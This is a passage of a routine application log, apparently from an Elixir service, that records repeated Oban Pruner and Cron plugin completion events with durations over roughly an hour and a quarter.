{"source":"oban","duration":1221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:32.908 [info] {"source":"oban","duration":1118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:00.104 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:08:02.910 [info] {"source":"oban","duration":1109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:32.912 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:00.105 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:09:02.914 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:32.916 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:00.106 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:10:02.918 [info] {"source":"oban","duration":1073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:32.920 [info] {"source":"oban","duration":1323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:11:00.107 [info] {"source":"oban","duration":259,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:11:02.922 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:11:32.924 [info] {"source":"oban","duration":1279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:00.108 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:12:02.925 [info] {"source":"oban","duration":851,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:32.928 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:00.109 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:13:02.930 [info] {"source":"oban","duration":1672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:32.932 [info] {"source":"oban","duration":1398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:00.110 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:14:02.934 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:32.936 [info] {"source":"oban","duration":1258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:15:00.111 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:15:02.938 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:15:32.940 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:16:00.112 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:16:02.942 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:16:32.944 [info] {"source":"oban","duration":1370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:17:00.113 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:17:02.946 [info] {"source":"oban","duration":1427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:17:32.948 [info] {"source":"oban","duration":1635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:00.114 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:18:02.950 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:32.952 [info] {"source":"oban","duration":1208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:19:00.115 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:19:02.954 [info] {"source":"oban","duration":1273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:19:32.956 [info] {"source":"oban","duration":1148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:00.116 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:20:02.958 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:32.960 [info] {"source":"oban","duration":1143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:00.117 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:21:02.962 [info] {"source":"oban","duration":1597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:32.964 [info] {"source":"oban","duration":1256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:22:00.118 [info] {"source":"oban","duration":208,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:22:02.966 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:22:32.968 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:00.119 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:23:02.970 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:32.972 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:24:00.120 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:24:02.974 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:24:32.976 [info] {"source":"oban","duration":1371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:00.121 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:25:02.978 [info] {"source":"oban","duration":1272,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:32.980 [info] {"source":"oban","duration":1694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:00.122 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:26:02.982 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:32.984 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:27:00.123 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:27:02.986 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:27:32.988 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:00.124 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:28:02.990 [info] {"source":"oban","duration":1235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:32.992 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:00.125 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:29:02.994 [info] {"source":"oban","duration":973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:32.996 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:30:00.126 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:30:02.998 [info] {"source":"oban","duration":1427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:30:33.000 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:00.127 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:31:03.002 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:33.004 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:32:00.128 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:32:03.006 [info] {"source":"oban","duration":1626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:32:33.008 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:00.130 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:33:03.010 [info] {"source":"oban","duration":1396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:33.012 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:34:00.131 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:34:03.014 [info] {"source":"oban","duration":1653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:34:33.016 [info] {"source":"oban","duration":1305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:00.132 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:35:03.018 [info] {"source":"oban","duration":979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:33.020 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:00.133 [info] {"source":"oban","duration":565,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:36:03.022 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:33.024 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:00.134 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:37:03.026 [info] {"source":"oban","duration":985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:33.028 [info] {"source":"oban","duration":952,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:00.135 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:38:03.030 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:33.032 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:00.136 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:39:03.034 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:33.036 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:40:00.137 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:40:03.038 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:40:33.040 [info] {"source":"oban","duration":1645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:41:00.138 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:41:03.042 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:41:33.044 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:42:00.139 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:42:03.046 [info] {"source":"oban","duration":1431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:42:33.048 [info] {"source":"oban","duration":1165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:43:00.140 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:43:03.050 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:43:33.052 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:44:00.141 [info] {"source":"oban","duration":434,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:44:03.054 [info] {"source":"oban","duration":1215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:44:33.056 [info] {"source":"oban","duration":1254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:45:00.142 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:45:03.058 [info] {"source":"oban","duration":1103,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:45:33.059 [info] {"source":"oban","duration":931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:46:00.143 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:46:03.062 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:46:33.064 [info] {"source":"oban","duration":1277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:47:00.144 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:47:03.066 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:47:33.068 [info] {"source":"oban","duration":1369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:48:00.145 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:48:03.070 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:48:33.072 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:49:00.146 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:49:03.074 [info] {"source":"oban","duration":1624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:49:33.076 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:50:00.147 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:50:03.078 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:50:33.080 [info] {"source":"oban","duration":1376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:51:00.148 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:51:03.082 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:51:33.084 [info] {"source":"oban","duration":1277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:52:00.149 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:52:03.086 [info] {"source":"oban","duration":1228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:52:33.088 [info] {"source":"oban","duration":1017,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:53:00.150 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:53:03.090 [info] {"source":"oban","duration":968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:53:33.092 [info] {"source":"oban","duration":1090,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:54:00.151 [info] {"source":"oban","duration":234,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:54:03.094 [info] {"source":"oban","duration":1162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:54:33.096 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:55:00.152 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:55:03.098 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:55:33.100 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:56:00.153 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:56:03.102 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:56:33.104 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:57:00.154 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:57:03.106 [info] {"source":"oban","duration":1305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:57:33.108 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:58:00.155 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:58:03.110 [info] {"source":"oban","duration":1375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:58:33.112 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:59:00.156 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:59:03.114 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:59:33.116 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:00:00.157 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:00:03.118 [info] {"source":"oban","duration":932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:00:33.120 [info] {"source":"oban","duration":1340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:01:00.158 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:01:03.122 [info] {"source":"oban","duration":1089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:01:33.124 [info] {"source":"oban","duration":978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:02:00.159 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:02:03.126 [info] {"source":"oban","duration":1323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:02:33.128 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:03:00.160 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:03:03.130 [info] {"source":"oban","duration":1329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:03:33.132 [info] {"source":"oban","duration":1173,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:04:00.161 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:04:03.134 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:04:33.136 [info] {"source":"oban","duration":1201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:05:00.162 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:05:03.138 [info] {"source":"oban","duration":1711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:05:33.141 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:06:00.163 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:06:03.143 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:06:33.145 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:07:00.164 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:07:03.147 [info] {"source":"oban","duration":1396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:07:33.149 [info] {"source":"oban","duration":1295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:08:00.165 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:08:03.151 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:08:33.153 [info] {"source":"oban","duration":1717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:09:00.166 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:09:03.156 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:09:33.158 [info] {"source":"oban","duration":1127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:10:00.167 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:10:03.160 [info] {"source":"oban","duration":1143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:10:33.162 [info] {"source":"oban","duration":1649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:11:00.169 [info] {"source":"oban","duration":222,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:11:03.164 [info] {"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:11:33.166 [info] {"source":"oban","duration":1308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:12:00.170 [info] {"source":"oban","duration":226,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:12:03.168 [info] {"source":"oban","duration":1292,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:12:33.170 [info] {"source":"oban","duration":1635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:13:00.171 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:13:03.172 [info] {"source":"oban","duration":1410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:13:33.174 [info] {"source":"oban","duration":1247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:14:00.172 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:14:03.176 [info] {"source":"oban","duration":1386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:14:33.178 [info] {"source":"oban","duration":1235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:15:00.173 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:15:03.180 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:15:33.182 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:16:00.174 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:16:03.184 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:16:33.186 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:17:00.175 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:17:03.188 [info] {"source":"oban","duration":1217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:17:33.190 [info] {"source":"oban","duration":1170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:18:00.176 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:18:03.192 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:18:33.194 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:19:00.177 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:19:03.196 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:19:33.197 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:20:00.178 [info] {"source":"oban","duration":237,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:20:03.200 [info] {"source":"oban","duration":931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:20:33.202 [info] {"source":"oban","duration":1047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:21:00.179 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:21:03.204 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:21:33.206 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:22:00.180 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:22:03.208 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:22:33.210 [info] {"source":"oban","duration":1603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:23:00.181 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:23:03.212 [info] {"source":"oban","duration":1204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:23:33.214 [info] {"source":"oban","duration":1373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:24:00.182 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:24:03.216 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:24:33.218 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:25:00.183 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:25:03.220 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:25:33.222 [info] {"source":"oban","duration":1063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:26:00.184 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:26:03.224 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:26:33.226 [info] 